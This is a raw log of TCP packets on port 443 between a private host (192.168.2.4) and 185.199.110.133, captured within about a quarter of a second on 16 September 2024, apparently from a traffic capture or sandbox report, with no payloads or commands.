Sep 16, 2024 19:32:59.154179096 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.154226065 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.154227018 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.154241085 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.154304028 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.154315948 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.154413939 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.155169010 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.155189037 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.155257940 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.155272007 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.155299902 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.155328035 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.156476974 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.156497002 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.156532049 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.156543970 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.156574965 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.156624079 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.157772064 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.157792091 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.157835007 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.157846928 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.157859087 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.157874107 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.157916069 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.159284115 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.159302950 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.159363031 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.159375906 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.159456968 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.159502983 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.166085958 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.166141033 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.166156054 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.184058905 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.205292940 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.205355883 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.210393906 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.210414886 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.210460901 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.210481882 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.210511923 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.210622072 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.211080074 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.211100101 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.211142063 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.211154938 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.211180925 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.211234093 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.211791039 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.211812019 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.211848021 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.211859941 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.211884975 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.212158918 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.212430000 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.212450027 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.212487936 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.212500095 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.212523937 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.212635040 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.213169098 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.213188887 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.213248014 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.213267088 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.213294029 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.213315964 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.234775066 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.237447977 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.237612009 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.237682104 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.237689018 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.237729073 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.237803936 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.237833023 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.237974882 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.238012075 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.238027096 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.238450050 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.238509893 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.238516092 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.238611937 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.238688946 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.238784075 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.238790989 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.238836050 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.238953114 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.239130974 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.239212990 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.239223003 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.239237070 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.239414930 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.239419937 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.239991903 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.240047932 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.240052938 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.240137100 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.240189075 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.240202904 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.240874052 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.240911007 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.240947962 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.240955114 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.240999937 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.244431019 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.244605064 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.244688988 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.244694948 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.244798899 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.244880915 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.244889021 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.244914055 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.245017052 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.245023012 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.245121956 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.245197058 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.245201111 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.245382071 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.245466948 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.245471001 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.247026920 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.247086048 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.247123003 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.247128010 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.247153997 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.247193098 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.248426914 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.248517036 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.248557091 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.248565912 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.248601913 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.248694897 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.248709917 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.248788118 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.248841047 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.248850107 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.248866081 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.248910904 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.248923063 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.249639988 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.249687910 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.249701977 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.249895096 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.249914885 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.249963045 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.249982119 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.250010014 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.250216961 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.250559092 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.250579119 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.250614882 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.250627041 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.250677109 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.250677109 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.251228094 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.251262903 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.251291037 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.251302958 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.251328945 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.251331091 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.251542091 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.251602888 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.251612902 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.251655102 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.251656055 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.251672983 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.251679897 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.251687050 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.251705885 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.251728058 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.251746893 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.310806990 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.310826063 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.310873032 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.310889006 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.310920000 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.310949087 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.311279058 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.311311007 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.311342955 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.311355114 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.311379910 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.311425924 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.311777115 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.311795950 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.311831951 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.311844110 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.311872005 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.311901093 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.312400103 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.312419891 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.312462091 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.312474012 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.312499046 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.312613010 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.313488007 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.315994024 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.316011906 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.316049099 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.316061020 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.316103935 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.316123009 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.316476107 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.316495895 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.316533089 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.316545010 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.316570044 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.316638947 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.316967010 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.316984892 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.317023039 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.317034006 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.317059040 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.317099094 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.317312002 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.317331076 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.317373991 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.317385912 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.317409992 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.317446947 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.332726955 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.332751036 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.332787991 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.332792044 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.332818031 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.332822084 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.332839966 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.332853079 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.332921982 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.333153009 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.333199978 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.333260059 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.333260059 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.333266020 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.333391905 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.334127903 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.334172964 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.334225893 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.334225893 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.334232092 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.334309101 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.334589005 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.334641933 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.334676027 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.334681988 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.334698915 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.334719896 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.334896088 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.335155010 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.335196018 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.335232973 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.335237026 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.335283041 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.335283041 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.335562944 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.335608006 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.335629940 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.335634947 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.335675955 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.335705996 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.336745977 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.336782932 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.336812019 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.336819887 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.336850882 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.337835073 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.337898016 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.337938070 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.337963104 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.338004112 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.339509964 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.339534998 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.339571953 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.339581013 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.339595079 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.341269016 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.341301918 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.341321945 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.341329098 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.341360092 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.343090057 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.376748085 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.376792908 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.376846075 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.376846075 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.376851082 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.376852989 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.376895905 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.376910925 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.376929045 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.376933098 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.376969099 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.376969099 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.387353897 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.401961088 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.401988029 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.402045012 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.402086020 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.402117968 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.402138948 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.402417898 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.402437925 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.402483940 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.402498007 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.402524948 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.402545929 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.402839899 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.402859926 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.402900934 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.402913094 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.403001070 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.403074980 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.403224945 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.403244972 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.403284073 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.403295040 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.403321981 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.403345108 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.403718948 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.403740883 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.403790951 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.403801918 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.403827906 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.403847933 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.404079914 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.404098988 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.404139996 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.404155970 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.404177904 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.404342890 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:59.404409885 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:59.404454947 CEST	443	49763	185.199.110.133	192.168.2.4
